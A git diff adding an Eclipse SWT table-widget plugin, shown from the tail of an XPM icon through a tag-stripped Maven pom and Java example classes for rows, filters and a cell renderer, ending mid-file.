#5C5C2E2E9292", +"S c #676733339595", +"D c #424228287575", +"F c #29290A0A4F4F", +"G c #6C6C4A4A9E9E", +"H c #72725454A7A7", +"J c #8C8C6D6DB2B2", +"K c #343424246E6E", +"L c #3A3A23236A6A", +"P c #3A3A1C1C6767", +"I c #24240A0A4B4B", +"U c #151518186161", +"Y c #76766F6FA5A5", +"T c #ADAD9191CCCC", +"R c #98988989D3D3", +"E c #45453B3B8686", +"W c #3C3C35357979", +"Q c #363631317575", +"! c #32322D2D6B6B", +"~ c #323229296363", +"^ c #30301F1F6262", +"/ c #323218185E5E", +"( c #272707074B4B", +") c #202028286C6C", +"_ c #1E1E1D1D6868", +"` c #9A9A8282BBBB", +"' c #C8C8B3B3D3D3", +"] c #B3B3AFAFE7E7", +"[ c #84847272C6C6", +"{ c #58585757A3A3", +"} c #3F3F3C3C8A8A", +"| c #3B3B3A3A8484", +" . c #414139397D7D", +".. c #3D3D39397A7A", +"X. c #37372E2E6E6E", +"o. c #2C2C21215A5A", +"O. c #2E2E1B1B5B5B", +"+. c #F5F5EFEFF5F5", +"@. c #656566669A9A", +"#. c #47474B4B8E8E", +"$. c #3C3C44447B7B", +"%. c #444442428080", +"&. c #45453E3E8181", +"*. c #40403C3C8181", +"=. c #3D3D33337474", +"-. c #3B3B30306E6E", +";. c #38382D2D6969", +":. c #303026265D5D", +">. c #2C2C15155A5A", +",. c #1F1F1C1C7070", +"<. c #25251E1E7171", +"1. c #59595C5C9191", +"2. c #4D4D53538989", +"3. c #4C4C49498484", +"4. c #484845458585", +"5. c #494941418585", +"6. c #494940408181", +"7. c #2F2F1C1C5353", +"8. c #2B2B28287676", +"9. c #323231317F7F", +"0. c #545452528B8B", +"q. c #51514E4E8989", +"w. c #4E4E4B4B8C8C", +"e. c #4C4C47478686", +"r. c #46463D3D7E7E", +"t. c #434336367A7A", +"y. c #2B2B13135555", +"u. c #47473D3D8D8D", +"i. c #575757578E8E", +"p. c #48483E3E7F7F", +"a. c #46463A3A7D7D", +"s. c #424235357575", +"d. c #404034347171", +"f. c #BFBFCBCBFAFA", +"g. c #B8B8A8A8DDDD", +"h. c #5E5E60609292", +"j. c #565655558C8C", +"k. c #4B4B44448282", +"l. c #454539397B7B", +"z. c #434338387878", +"x. c #3F3F32326D6D", +"c. c #3D3D30306969", +"v. c #3A3A2E2E6363", +"b. c #36362A2A5C5C", +"n. c #343424245555", +"m. c #30301E1E4D4D", +"M. c #49493C3C8282", +"N. c #5E5E4F4F8C8C", +"B. c #56563B3B8B8B", +"V. c #545407078585", +"C. c #424234347272", +"Z. c #9797A4A4F7F7", +"A. c #444436367676", +"S. c #7D7D7979D5D5", +"D. c #464640408A8A", +"F. c #44444B4B8282", +"G. c #414107077777", +"H. c #71716161C1C1", +"J. c #303039397979", +"K. c #8E8E8E8EE6E6", +"L. c #404033338B8B", +"P. c #4A4A45458C8C", +"I. c #46463A3A8080", +"U. c #363629295454", +"Y. c #303022224848", +"T. c #424237377575", +"R. c #2E2E1D1D6363", +"E. c #79798383EAEA", +"W. c #74747B7BE4E4", +"Q. c #6D6D7676D6D6", +"!. c #6A6A7171CECE", +"~. c #66666969C6C6", +"^. c #62626565BCBC", +"/. c #5F5F6060B5B5", +"(. c #5B5B5B5BACAC", +"). c #535353539898", +"_. c #4F4F4F4FA4A4", +"`. c #54544D4DA4A4", +"'. c #323204046B6B", +"]. c #303035357979", +"[. c #313122224343", +"{. c #5A5A5B5BB7B7", +"}. c #484846468080", +"|. c #454541417575", +" X c #4B4B31318282", +".X c #47473C3C8484", +"XX c #3E3E35356E6E", +"oX c #2F2F26264040", +"OX c #2B2B23233A3A", +"+X c #262619195C5C", +"@X c #252515155A5A", +"#X c #55555151B3B3", +"$X c #3C3C2D2D5D5D", +"%X c #39392F2F5656", +"&X c #37372D2D5050", +"*X c #25251F1F3030", +"=X c #24241D1D4343", +"-X c #202013135656", +";X c #41413B3B6C6C", +":X c #444442429696", +">X c #212100005E5E", +",X c #444436367272", +" > , , , ", +" . . X X < < o o O O + @ 1 2 2 1 1 1 1 1 1 1 1 3 4 # # $ $ $ % % % 5 = = 6 6 - ; ; > > , , 7 ", +" . 8 < < < o O O + @ @ 2 9 9 0 0 q q q q q q q w 3 4 4 e e $ $ $ $ % 5 = = 6 6 6 ; ; > > r t ", +" . X < y u O O + @ 1 2 i 0 0 p p p p p p p a a p a s 3 4 4 e e e e d 5 5 f f 6 6 6 ; ; r r t ", +" X < y u O + + @ 2 9 0 g p p h h h h h h h p h h a a s s j k k j l d d 5 5 f f 6 6 r r r r r ", +" X < y O z x x 9 0 g c v b n n n n n n n n n n n h a a s s j j m l M d d N f f B B B B r r r ", +" < y u + z 2 0 c c b V C Z C C A A A A A S S S n h D w w m m m m k l M d d N f F F F B r r r ", +" < y O z z 9 c b V Z G H H H G S G G J J H V v c g g K K K K L P l l l M M N N N N I B B r r ", +" U u + z x i v C H Y J J J J H J T R H V E W W Q Q Q Q ! ! ! ~ ^ ^ / / M M M M M N ( B B r r ", +" ) _ z x 9 g b Z Y ` ' ' ' T T ] [ { } | .........W W Q Q X.! ~ ~ o.O./ / / / N F ( B B B r ", +" ) ) z x i c V G J ' +.+.+.+.] [ @.#.$.%.%.%.&.*. . .....W =.-.X.;.~ :.o.O.^ >.N F ( B B B B ", +" ) ,.<.2 g v C H J ' +.+.+.+.T Y 1.2.3.4.4.4.5.6.&.&. . ...W =.=.-.;.~ :.o.7.>.N F F ( B I I ", +" ) ,.<.8.9.b C H J T +.+.+.' J @.1.0.q.q.w.e.4.5.6.&.r. . .t.W =.=.-.;.~ :.o.7.y.N F ( ( I I ", +" 8.8.8.9.| u.C G J T +.+.' ` Y @.1.i.0.q.q.e.e.5.6.p.r.a. .t.t.s.d.d.-.;.~ :.7.7.y.F F ( I I ", +" 9.c c c v b A S H ' f.g.` Y @.h.1.i.j.0.q.q.e.k.6.p.r.a.l.t.z.s.s.d.x.c.v.b.n.m.7.N F F F I ", +" <.g M.N.B.B.n V.J f.R J @.h.h.1.i.i.j.j.0.q.3.k.6.p.r.a.l.l.z.s.C.d.x.x.c.v.b.n.m.y.N F F F ", +" + x i v B.Z Z G g.Z.[ @.2.i.i.j.j.j.j.j.0.q.3.k.6.p.p.a.l.l.A.s.C.C.d.x.c.v.b.n.m.7.y.N N y. ", +" O # 3 w p n Z ` f.S.H D.F.q.0.0.0.0.j.0.q.q.3.k.6.p.r.a.a.l.A.s.s.C.d.x.x.c.v.b.n.m.y.y.y.y. ", +" O # 4 s a G.V.T Z.H.V J.%.e.w.q.0.0.0.0.q.q.e.k.6.p.r.a.a.l.z.A.s.C.d.d.x.c.v.b.n.m.7.>.y.y. ", +" O # 4 s w G.A f.K.H L...4.P.w.w.w.q.q.q.q.e.e.5.6.M.I.I.a.a.l.z.A.s.d.d.x.c.v.v.U.Y.7.O.>.y. ", +" $ # 4 3 s G.G f.S.Z 9.*.D.P.P.w.w.w.w.w.e.e.5.5.M.M.I.I.a.a.l.z.T.s.d.d.x.x.c.v.U.Y.m.R.>.>. ", +" E.E.W.W.W.W.E.Z.E.W.Q.Q.Q.Q.Q.Q.Q.Q.Q.Q.!.!.!.!.!.~.~.~.~.~.~.^.^.^.^.^./././.(.{ { )._.`._. ", +" + # 3 w s '.` f.H.V ].*.D.P.P.P.P.P.P.P.5.5.5.M.M.M.I.I.a.l.z.z.T.T.s.d.d.x.c.v.U.Y.[.^ O.>. ", +" ~.~.~.~.~.~.K.Z.S.~.{.^.^.^.^.^.^.^.^././././././.(.(.(.(.(.(.{ { { { { ).).).w.w.}.|.P.u.} ", +" .I.6. X X XT f.H.b ].*.E D.D.D.D.5.5..X.XM.M.I.I.a.a.l.l.z.z.T.T.T.d.XXx.c.v.b.U.oXOXR.+X@X ", +" E.E.E.W.W.W.K.Z.E.W.Q.Q.Q.Q.Q.Q.Q.Q.!.!.!.!.!.!.~.~.~.~.~.~.^.^.^.^.^./././.(.{ { ).).#X_._. ", +" & % $ e '.= H f.H.b 8.W *.E E E .X.X.XI.I.I.I.a.a.l.l.z.z.T.T.T.C.XXXXc.v.$X%X&XY.*X=X2 @X-X ", +" {.{.{.{.{.#X~.Z.W.~.{.{./././././././././.(.(.(.(.(.(.(.{ { { { { { ).).).w.w.3.}.;X%.:X} } ", +" & & % $ e >XV.f.S.C K X.W t. . .l.l.t.t.t.t.A.A.A.,X,X,X,X,XX7X` Z.Z D ! =.=.s.t.t.t.A.A.s.A.,X,X,X,X > > t t t cX ", +" nXbXbXzXzXlXaXXXY +Xf = f = 7XtXR R mXn.Y.[.[.[.[.OX*X*X8X5X*X=X,.u vXvX; > > MXMX, 7 t t ", +" nXnXnXbXzXvX-.Y +XcX6 6 = = = d L B.G H `.X.:.7.m.=X=X=X=X=X6X,.u cXvXNX: BX> MXVXCXVX7 7 7 ", +" ZXZXnXbXAXgX@.+XvX; - - - - * @XR.>.sX>.R.i 0 x eXeXeXeXO hXaXcXvXNX: BXMXMXMXVXCXCXCXVX7 7 ", +" SXZXZXAXgXN.aXNX: : NXNXNX- * +X+X* 6 6 6 * * * * * * * vXvX- NX: DXBXMXMXFXCXCXCXCXGXVXVX7 ", +" SXSXHXgX0.JXKXLXKXKXDX: : NX* @X-X- - - - - - - - - - - NX: DXDXDXMXMXFXFXCXCXCXCXGXGXGXVXVX ", +" SXHXPX3.JXnXnXnXnXbXLXKXKXNXaX-XvX: : NX: : : : : : : BXDXDXLXMXMXFXFXCXCXCXCXGXGXGXGXGXGXGX ", +" IXUX$.AXZXZXZXZXnXnXnXLXLXNXJXvXBXDXBXBXBXBXDXDXDXDXLXDXLXLXFXFXFXFXCXCXCXCXGXGXGXGXGXGXGXGX ", +" "}; diff --git a/base_plugins/de.jaret.util.ui.table/icons/alt_window_16.gif b/base_plugins/de.jaret.util.ui.table/icons/alt_window_16.gif new file mode 100644 index 0000000..05626b1 Binary files /dev/null and b/base_plugins/de.jaret.util.ui.table/icons/alt_window_16.gif differ diff --git a/base_plugins/de.jaret.util.ui.table/icons/alt_window_32.gif b/base_plugins/de.jaret.util.ui.table/icons/alt_window_32.gif new file mode 100644 index 0000000..b432f88 Binary files /dev/null and b/base_plugins/de.jaret.util.ui.table/icons/alt_window_32.gif differ diff --git a/base_plugins/de.jaret.util.ui.table/lib/datechooser-1.01.jar b/base_plugins/de.jaret.util.ui.table/lib/datechooser-1.01.jar new file mode 100644 index 0000000..21d634b Binary files /dev/null and b/base_plugins/de.jaret.util.ui.table/lib/datechooser-1.01.jar differ diff --git a/base_plugins/de.jaret.util.ui.table/lib/jaretutil-0.32.jar b/base_plugins/de.jaret.util.ui.table/lib/jaretutil-0.32.jar new file mode 100644 index 0000000..27e3089 Binary files /dev/null and b/base_plugins/de.jaret.util.ui.table/lib/jaretutil-0.32.jar differ diff --git a/base_plugins/de.jaret.util.ui.table/pom.xml b/base_plugins/de.jaret.util.ui.table/pom.xml new file mode 100644 index 0000000..f79c77c --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/pom.xml @@ -0,0 +1,140 @@ + + 4.0.0 + de.jaret + jarettable + jar + 0.85 + Jaret table + http://www.jaret.de + + + de.jaret + jaretutil + 0.30 + compile + + + de.jaret + datechooser + 1.0 + compile + + + junit + junit + 3.8.1 + test + + + swt + org.eclipse.jface_3.2.0 + R + compile + + + swt + + org.eclipse.swt.win32.win32.x86_3.2.0 + + R + compile + + + swt + org.eclipse.swt_3.2.0 + R + compile + + + swt + org.eclipse.core.commands_3.2.0 + R + compile + + + + + + CPL (Common Public License + LICENSE.txt + + + + + + + org.apache.maven.plugins + maven-compiler-plugin + + 1.5 + 1.5 + + + + maven-assembly-plugin + + + src/site/resources/data + + + + src/main/assembly/binassembly.xml + + + src/main/assembly/srcassembly.xml + + + + + + + + + + + org.apache.maven.plugins + + maven-project-info-reports-plugin + + + + + javadoc + dependencies + license + + + + + + org.apache.maven.plugins + maven-javadoc-plugin + + 128m + 512 + + + + org.codehaus.mojo + jxr-maven-plugin + + + + org.apache.maven.plugins + maven-checkstyle-plugin + + + ../de.jaret.infrastructure/jaret_checks_lib.xml + + + + + + + + + + + \ No newline at end of file diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/DummyRow.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/DummyRow.java new file mode 100644 index 0000000..179ad83 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/DummyRow.java @@ -0,0 +1,323 @@ +/* + * File: DummyRow.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.examples.table; + +import java.text.DateFormat; +import java.text.ParseException; +import java.util.Date; + +import org.eclipse.swt.graphics.Image; + +import de.jaret.util.misc.PropertyObservableBase; +import de.jaret.util.ui.table.model.IRow; + +/** + * Simple test row. + * + * @author Peter Kliem + * @version $Id: DummyRow.java,v 1.1 2012-05-07 01:34:39 jason Exp $ + */ +public class DummyRow extends PropertyObservableBase implements IRow { + public static enum TestEnum { + ENUMVAL1, ENUMVAL2, ENUMVAL3 + }; + + private String t1; + private String t2; + private String t3; + private boolean b1; + private Date d1; + private Image img; + private int integer = 0; + private double adouble = 0.0; + private TestEnum enumProperty = TestEnum.ENUMVAL1; + private String x1; + + private int _riskProb = 1; + private int _riskSeverity = 1; + private Risk _risk = new Risk(_riskProb, _riskSeverity); + + public class Risk { + private int _riskProb = 1; + private int _riskSeverity = 1; + + public Risk(int riskProb, int riskSeverity) { + _riskProb = riskProb; + _riskSeverity = riskSeverity; + } + + /** + * @return the riskProb + */ + public int getRiskProb() { + return _riskProb; + } + + /** + * @return the riskSeverity + */ + public int getRiskSeverity() { + return _riskSeverity; + } + + @Override + public String toString() { + return "Risk " + _riskProb * _riskSeverity; + } + } + + public DummyRow(String t1, String t2, String t3, boolean b1, Date d1) { + this(t1, t2, t3, b1, d1, null); + } + + public DummyRow(String t1, String t2, String t3, boolean b1, Date d1, Image img) { + this.t1 = t1; + this.t2 = t2; + this.t3 = t3; + this.b1 = b1; + this.d1 = d1; + this.img = img; + integer = (int) (Math.random() * 100); + } + + /** + * @return Returns the t1. + */ + public String getT1() { + return t1; + } + + /** + * @param t1 The t1 to set. + */ + public void setT1(String t1) { + this.t1 = t1; + firePropertyChange("T1", null, t1); + } + + /** + * @return Returns the t2. + */ + public String getT2() { + return t2; + } + + /** + * @param t2 The t2 to set. + */ + public void setT2(String t2) { + this.t2 = t2; + firePropertyChange("T2", null, t2); + } + + public String getId() { + return Integer.toString(hashCode()); + } + + /** + * @return Returns the t3. + */ + public String getT3() { + return t3; + } + + /** + * @param t3 The t3 to set. + */ + public void setT3(String t3) { + this.t3 = t3; + firePropertyChange("T3", null, t3); + } + + public String getX1() { + return x1; + } + + public void setX1(String x1) { + this.x1 = x1; + firePropertyChange("X1", null, x1); + } + + /** + * @return Returns the b1. + */ + public boolean getB1() { + return b1; + } + + /** + * @param b1 The b1 to set. + */ + public void setB1(boolean b1) { + this.b1 = b1; + firePropertyChange("B1", null, b1); + } + + /** + * @return Returns the d1. + */ + public Date getD1() { + return d1; + } + + /** + * @param d1 The d1 to set. + */ + public void setD1(Date d1) { + this.d1 = d1; + firePropertyChange("D1", null, d1); + } + + /** + * Setter for d1 trying to parse a string. + * + * @param dateString + */ + public void setD1(String dateString) { + Date d = null; + if (dateString == null || dateString.trim().length() == 0) { + setD1(d); + return; + } + try { + DateFormat df = DateFormat.getDateInstance(); + d = df.parse(dateString); + } catch (ParseException e) { + // ignore + } + if (d == null) { + try { + DateFormat df = DateFormat.getDateTimeInstance(); + d = df.parse(dateString); + } catch (ParseException e) { + // ignore + } + } + if (d != null) { + setD1(d); + } else { + throw new RuntimeException("could not parse date"); + } + } + + /** + * @return Returns the img. + */ + public Image getImg() { + return img; + } + + /** + * @param img The img to set. + */ + public void setImg(Image img) { + this.img = img; + firePropertyChange("Img", null, img); + } + + /** + * @return Returns the adouble. + */ + public double getAdouble() { + return adouble; + } + + /** + * @param adouble The adouble to set. + */ + public void setAdouble(double adouble) { + this.adouble = adouble; + firePropertyChange("Adouble", null, adouble); + } + + /** + * @return Returns the integer. + */ + public int getInteger() { + return integer; + } + + /** + * @param integer The integer to set. + */ + public void setInteger(int integer) { + this.integer = integer; + firePropertyChange("Integer", null, integer); + } + + /** + * @return the enumProperty + */ + public TestEnum getEnumProperty() { + return enumProperty; + } + + /** + * @param enumProperty the enumProperty to set + */ + public void setEnumProperty(TestEnum enumProperty) { + this.enumProperty = enumProperty; + firePropertyChange("EnumProperty", null, enumProperty); + } + + /** + * @return the risk + */ + public Risk getRisk() { + return _risk; + } + + /** + * @param risk the risk to set + */ + public void setRisk(Risk risk) { + _risk = risk; + firePropertyChange("Risk", null, risk); + setRiskProb(risk.getRiskProb()); + setRiskSeverity(risk.getRiskSeverity()); + } + + /** + * @return the riskProb + */ + public int getRiskProb() { + return _riskProb; + } + + /** + * @param riskProb the riskProb to set + */ + public void setRiskProb(int riskProb) { + if (riskProb != _riskProb) { + _riskProb = riskProb; + firePropertyChange("RiskProb", null, riskProb); + setRisk(new Risk(_riskProb, _riskSeverity)); + } + } + + /** + * @return the riskSeverity + */ + public int getRiskSeverity() { + return _riskSeverity; + } + + /** + * @param riskSeverity the riskSeverity to set + */ + public void setRiskSeverity(int riskSeverity) { + if (riskSeverity != _riskSeverity) { + _riskSeverity = riskSeverity; + firePropertyChange("RiskSeverity", null, riskSeverity); + setRisk(new Risk(_riskProb, _riskSeverity)); + } + } +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/DummyTableNode.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/DummyTableNode.java new file mode 100644 index 0000000..51e31f0 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/DummyTableNode.java @@ -0,0 +1,100 @@ +/* + * File: DummyTableNode.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.examples.table; + +import de.jaret.util.ui.table.model.AbstractTableNode; + +/** + * Dummy table node class for test and demonstarting purposes. + * + * @author Peter Kliem + * @version $Id: DummyTableNode.java,v 1.1 2012-05-07 01:34:39 jason Exp $ + */ +public class DummyTableNode extends AbstractTableNode { + protected String _id; + + private String t1; + private String t2; + private String t3; + private boolean b1; + + public DummyTableNode(String id, String t1, String t2, String t3) { + _id = id; + this.t1 = t1; + this.t2 = t2; + this.t3 = t3; + } + + public String getId() { + return _id; + } + + /** + * @return Returns the t1. + */ + public String getT1() { + return t1; + } + + /** + * @param t1 The t1 to set. + */ + public void setT1(String t1) { + this.t1 = t1; + firePropertyChange("T1", null, t1); + } + + /** + * @return Returns the t2. + */ + public String getT2() { + return t2; + } + + /** + * @param t2 The t2 to set. + */ + public void setT2(String t2) { + this.t2 = t2; + firePropertyChange("T2", null, t2); + } + + /** + * @return Returns the t3. + */ + public String getT3() { + return t3; + } + + /** + * @param t3 The t3 to set. + */ + public void setT3(String t3) { + this.t3 = t3; + firePropertyChange("T3", null, t3); + } + + /** + * @return the b1 + */ + public boolean getB1() { + return b1; + } + + /** + * @param b1 the b1 to set + */ + public void setB1(boolean b1) { + this.b1 = b1; + firePropertyChange("B3", null, b1); + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/SampleIntegerAutoFilter.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/SampleIntegerAutoFilter.java new file mode 100644 index 0000000..07a2d51 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/SampleIntegerAutoFilter.java @@ -0,0 +1,88 @@ +package de.jaret.examples.table; + +import java.util.Set; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.CCombo; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.widgets.Control; + +import de.jaret.util.ui.table.filter.AbstractAutoFilter; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; + +/** + * Sample auto filter implementation for selecting int values <50, >50. + * + * @author kliem + * @version $Id: SampleIntegerAutoFilter.java,v 1.1 2012-05-07 01:34:39 jason Exp $ + */ +public class SampleIntegerAutoFilter extends AbstractAutoFilter implements SelectionListener { + protected CCombo _combo; + + protected static String FILTER_ALL = "(all)"; + + protected static String FILTER_LT50 = "<50"; + + protected static String FILTER_GT50 = ">=50"; + + public void dispose() { + if (_combo != null) { + _combo.dispose(); + } + } + + public Control getControl() { + return _combo; + } + + public boolean isInResult(IRow row) { + String filter = _combo.getText(); + Object value = _column.getValue(row); + int intVal = 0; + if (value != null && value instanceof Integer) { + intVal = ((Integer)value).intValue(); + } + if (!filter.equals(FILTER_ALL)) { + if (filter.equals(FILTER_LT50)) { + return intVal < 50; + } + if (filter.equals(FILTER_GT50)) { + return intVal >= 50; + } + } + return true; + } + + public void update() { + if (_combo == null) { + _combo = new CCombo(_table, SWT.BORDER | SWT.READ_ONLY); + _combo.addSelectionListener(this); + } + String[] items = new String[3]; + int idx = 0; + items[idx++] = FILTER_ALL; + items[idx++] = FILTER_LT50; + items[idx++] = FILTER_GT50; + + _combo.setItems(items); + _combo.select(0); + } + + /** + * {@inheritDoc} + */ + public void reset() { + _combo.select(0); + firePropertyChange("FILTER", null, "x"); + } + + public void widgetDefaultSelected(SelectionEvent e) { + } + + public void widgetSelected(SelectionEvent e) { + firePropertyChange("FILTER", null, "x"); + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/SampleTextAutoFilter.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/SampleTextAutoFilter.java new file mode 100644 index 0000000..18afcbb --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/SampleTextAutoFilter.java @@ -0,0 +1,67 @@ +package de.jaret.examples.table; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.ModifyEvent; +import org.eclipse.swt.events.ModifyListener; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Text; + +import de.jaret.util.ui.table.filter.AbstractAutoFilter; +import de.jaret.util.ui.table.model.IRow; + +/** + * Sample autofilter rendering as a textbox and filters everything that does not contain the entered String. + * + * @author kliem + * @version $Id: SampleTextAutoFilter.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public class SampleTextAutoFilter extends AbstractAutoFilter implements ModifyListener { + + private Text _text; + + + public void dispose() { + if (_text != null) { + _text.dispose(); + } + } + + public Control getControl() { + return _text; + } + + public void update() { + if (_text == null) { + _text = new Text(_table, SWT.NULL); + _text.addModifyListener(this); + } + } + + public boolean isInResult(IRow row) { + String filter = _text.getText().trim(); + if (filter.length()>0) { + Object value = _column.getValue(row); + String valString = value != null ? value.toString() : ""; + return valString.indexOf(filter) != -1; + } + + return true; + } + + /** + * {@inheritDoc} + */ + public void reset() { + _text.setText(""); + firePropertyChange("FILTER", null, "x"); + } + + + public void modifyText(ModifyEvent e) { + firePropertyChange("FILTER", null, "x"); + + } + + + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/SimpleModelExample.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/SimpleModelExample.java new file mode 100644 index 0000000..3995afe --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/SimpleModelExample.java @@ -0,0 +1,124 @@ +/* + * File: SimpleModelExample.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.examples.table; + +import org.eclipse.jface.action.MenuManager; +import org.eclipse.swt.SWT; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Shell; + +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IJaretTableModel; +import de.jaret.util.ui.table.model.ITableViewState; +import de.jaret.util.ui.table.model.simple.SimpleJaretTableModel; +import de.jaret.util.ui.table.util.action.JaretTableActionFactory; + +/** + * Simple exmaple for demonstrating the use of the jaret table. + * + * @author Peter Kliem + * @version $Id: SimpleModelExample.java,v 1.1 2012-05-07 01:34:39 jason Exp $ + */ +public class SimpleModelExample { + // private static final int NUMCOLS = 5; + // private static final int NUMROWS = 5; + private static final int NUMCOLS = 100; + private static final int NUMROWS = 200; + Shell _shell; + IJaretTableModel _tableModel; + + public SimpleModelExample(IJaretTableModel tableModel) { + _tableModel = tableModel; + _shell = new Shell(Display.getCurrent()); + _shell.setText("simple jaret table example"); + createControls(); + _shell.open(); + Display display; + display = _shell.getDisplay(); + _shell.pack(); + _shell.setSize(1000, 700); + + /* + * do the event loop until the shell is closed to block the call + */ + while (_shell != null && !_shell.isDisposed()) { + try { + if (!display.readAndDispatch()) + display.sleep(); + } catch (Throwable e) { + e.printStackTrace(); + } + } + display.update(); + } + + JaretTable _jt; + + /** + * Create the controls that compose the console test. + * + */ + protected void createControls() { + GridLayout gl = new GridLayout(); + gl.numColumns = 1; + _shell.setLayout(gl); + + GridData gd = new GridData(GridData.FILL_BOTH); + + _jt = new JaretTable(_shell, SWT.V_SCROLL | SWT.H_SCROLL); + _jt.setLayoutData(gd); + + if (_tableModel == null) { + SimpleJaretTableModel model = new SimpleJaretTableModel(); + + for (int x = 0; x <= NUMCOLS; x++) { + model.setHeaderLabel(x, "" + x); + for (int y = 0; y <= NUMROWS; y++) { + model.setValueAt(x, y, x + "/" + y); + } + } + + _tableModel = model; + } + + _jt.setTableModel(_tableModel); + + // set rowheight mode to variable .. optimal would be quite expensive on each col resize + _jt.getTableViewState().setRowHeightMode(ITableViewState.RowHeightMode.VARIABLE); + + for (int i = 0; i < NUMCOLS; i++) { + IColumn col = _tableModel.getColumn(i); + _jt.getTableViewState().setColumnWidth(col, 40); + } + + JaretTableActionFactory af = new JaretTableActionFactory(); + + MenuManager mm = new MenuManager(); + mm.add(af.createStdAction(_jt, JaretTableActionFactory.ACTION_CONFIGURECOLUMNS)); + _jt.setHeaderContextMenu(mm.createContextMenu(_jt)); + + MenuManager rm = new MenuManager(); + rm.add(af.createStdAction(_jt, JaretTableActionFactory.ACTION_OPTROWHEIGHT)); + rm.add(af.createStdAction(_jt, JaretTableActionFactory.ACTION_OPTALLROWHEIGHTS)); + _jt.setRowContextMenu(rm.createContextMenu(_jt)); + + TableControlPanel ctrlPanel = new TableControlPanel(_shell, SWT.NULL, _jt); + + } + + public static void main(String args[]) { + SimpleModelExample te = new SimpleModelExample(null); + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/StyleTextCellRenderer.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/StyleTextCellRenderer.java new file mode 100644 index 0000000..fe5d7ed --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/StyleTextCellRenderer.java @@ -0,0 +1,108 @@ +package de.jaret.examples.table; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.graphics.TextLayout; +import org.eclipse.swt.graphics.TextStyle; +import org.eclipse.swt.widgets.Display; + +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; +import de.jaret.util.ui.table.renderer.ICellStyle; +import de.jaret.util.ui.table.renderer.TextCellRenderer; + +public class StyleTextCellRenderer extends TextCellRenderer { + + private TextLayout textLayout; + + /** 添加样å¼çš„文本 */ + private String strStyleText; + + /** 设置样å¼æ—¶æ˜¯å¦åŒºåˆ†å¤§å°å†™ */ + private boolean blnIsCaseSensitive; + + private TextStyle style; + + public StyleTextCellRenderer(String strStyleText, boolean blnIsCaseSensitive) { + super(); + this.strStyleText = strStyleText; + this.blnIsCaseSensitive = blnIsCaseSensitive; + } + + public void draw(GC gc, JaretTable jaretTable, ICellStyle cellStyle, Rectangle drawingArea, IRow row, + IColumn column, boolean drawFocus, boolean selected, boolean printing) { + super.draw(gc, jaretTable, cellStyle, drawingArea, row, column, drawFocus, selected, printing); + Rectangle drect = drawBorder(gc, cellStyle, drawingArea, printing); + Rectangle rect = applyInsets(drect); + String s = convertValue(row, column); + if (s != null && strStyleText != null) { + int index = -1; + if (blnIsCaseSensitive) { + index = s.toUpperCase().indexOf(strStyleText.toUpperCase()); + } else { + index = s.indexOf(strStyleText); + } + if (index != -1) { + if (textLayout == null) { + textLayout = new TextLayout(gc.getDevice()); + jaretTable.getParent().addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + textLayout.dispose(); + } + }); + } + textLayout.setText(s); + textLayout.setFont(gc.getFont()); + textLayout.setWidth(rect.width); + if (style == null) { + final Color color = new Color(gc.getDevice(), 150, 100, 100); + final Font font = new Font(gc.getDevice(), gc.getFont().getFontData()[0].getName(), gc.getFont() + 